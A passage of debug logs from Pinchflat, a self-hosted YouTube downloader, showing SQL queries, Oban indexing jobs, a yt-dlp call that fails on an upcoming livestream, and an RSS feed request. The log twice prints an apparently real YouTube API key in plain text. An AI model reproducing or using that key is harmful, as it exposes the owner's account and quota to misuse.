"U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 16:47:51.399 [debug] QUERY OK source="media_items" db=2.5ms idle=87.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:47:51.401 [debug] QUERY OK source="tasks" db=0.2ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800074, 5, ~U[2026-02-10 22:47:51Z], ~U[2026-02-10 22:47:51Z]] 16:47:51.401 [info] {"args":{"id":5},"id":3800034,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":92912,"event":"job:stop","queue_time":537463,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:56.313 [info] {"args":{"id":1},"id":3800035,"meta":{},"system_time":1770763676313832958,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:56.314 [debug] QUERY OK source="sources" db=0.1ms idle=1435.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:47:56.314 [debug] QUERY OK source="settings" db=0.1ms idle=1435.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:56.314 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:56.314 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:56.314 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:47:56.314 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:56.315 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:56.406 [debug] QUERY OK source="media_items" db=0.7ms idle=90.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 16:47:56.416 [debug] QUERY OK source="media_items" db=9.4ms idle=92.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:47:56.612 [debug] QUERY OK source="tasks" db=15.0ms idle=165.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800075, 1, ~U[2026-02-10 22:47:56Z], ~U[2026-02-10 22:47:56Z]] 16:47:56.612 [info] {"args":{"id":1},"id":3800035,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":298804,"event":"job:stop","queue_time":478413,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:58.601 [info] {"source":"oban","duration":10949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.038 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:48:28.613 [info] {"source":"oban","duration":11406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:58.624 [info] {"source":"oban","duration":10274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.039 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:49:28.633 [info] {"source":"oban","duration":7966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:58.645 [info] {"source":"oban","duration":10878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.040 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:50:28.653 [info] {"source":"oban","duration":7687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:40.524 [info] {"args":{"id":37},"id":3800036,"meta":{},"system_time":1770763840524363621,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:50:40.525 [debug] QUERY OK source="sources" db=0.7ms idle=646.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:50:40.526 [debug] QUERY OK source="settings" db=0.6ms idle=646.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.526 [debug] QUERY OK source="media_profiles" db=0.1ms idle=647.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:50:40.527 [debug] QUERY OK source="settings" db=0.6ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.527 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:50:40.527 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.527 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:50:40.713 [debug] QUERY OK source="media_items" db=0.5ms idle=187.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 16:50:40.713 [debug] QUERY OK source="settings" db=0.0ms idle=187.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.714 [debug] QUERY OK source="settings" db=0.0ms idle=187.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.714 [debug] Running yt-dlp command for action: get_media_attributes 16:50:40.739 [debug] QUERY OK source="settings" db=0.0ms idle=211.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.739 [debug] QUERY OK source="settings" db=0.0ms idle=211.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.739 [debug] QUERY OK source="settings" db=0.0ms idle=25.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:40.739 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cb/d7/cbd738360706584b0d8af25993df29bcd4e59ab86b49d20274795852179f66cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:50:42.154 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cb/d7/cbd738360706584b0d8af25993df29bcd4e59ab86b49d20274795852179f66cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours. 16:50:42.154 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours.\n", 1} 16:50:42.156 [debug] QUERY OK source="media_items" db=1.0ms idle=636.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:50:42.157 [debug] QUERY OK source="tasks" db=0.2ms idle=278.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800076, 37, ~U[2026-02-10 22:50:42Z], ~U[2026-02-10 22:50:42Z]] 16:50:42.157 [info] {"args":{"id":37},"id":3800036,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1633313,"event":"job:stop","queue_time":968464,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:50:58.665 [info] {"source":"oban","duration":10891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.041 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:51:28.677 [info] {"source":"oban","duration":10801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:58.687 [info] {"source":"oban","duration":10314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.042 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:52:28.695 [info] {"source":"oban","duration":7514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:58.704 [info] {"source":"oban","duration":7889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.043 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:53:28.715 [info] {"source":"oban","duration":10473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:58.724 [info] {"source":"oban","duration":7749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.044 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:54:28.731 [info] {"source":"oban","duration":7516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:39.486 [info] GET /sources/93352545-e4c8-4fef-be42-ab095b3fa128/feed.xml 16:54:39.486 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "93352545-e4c8-4fef-be42-ab095b3fa128"} Pipelines: [:maybe_basic_auth] 16:54:39.486 [debug] QUERY OK source="sources" db=0.1ms idle=1608.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["93352545-e4c8-4fef-be42-ab095b3fa128"] 16:54:39.489 [debug] QUERY OK source="media_items" db=2.5ms idle=1608.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [41, 2000] 16:54:39.498 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1620.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [41] 16:54:39.498 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1620.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564177] 16:54:39.498 [info] Sent 200 in 12ms 16:54:58.740 [info] {"source":"oban","duration":7968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.045 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:55:28.748 [info] {"source":"oban","duration":7593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:58.756 [info] {"source":"oban","duration":7562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.046 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:56:28.767 [info] {"source":"oban","duration":10035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:30.888 [info] {"args":{"id":30},"id":3800037,"meta":{},"system_time":1770764190888234962,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:30.889 [debug] QUERY OK source="sources" db=0.7ms idle=1009.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:56:30.889 [debug] QUERY OK source="settings" db=0.7ms idle=1010.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:30.890 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1009.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:30.891 [debug] QUERY OK source="settings" db=0.7ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:30.891 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:56:30.891 [debug] QUERY OK source="settings" db=0.0ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 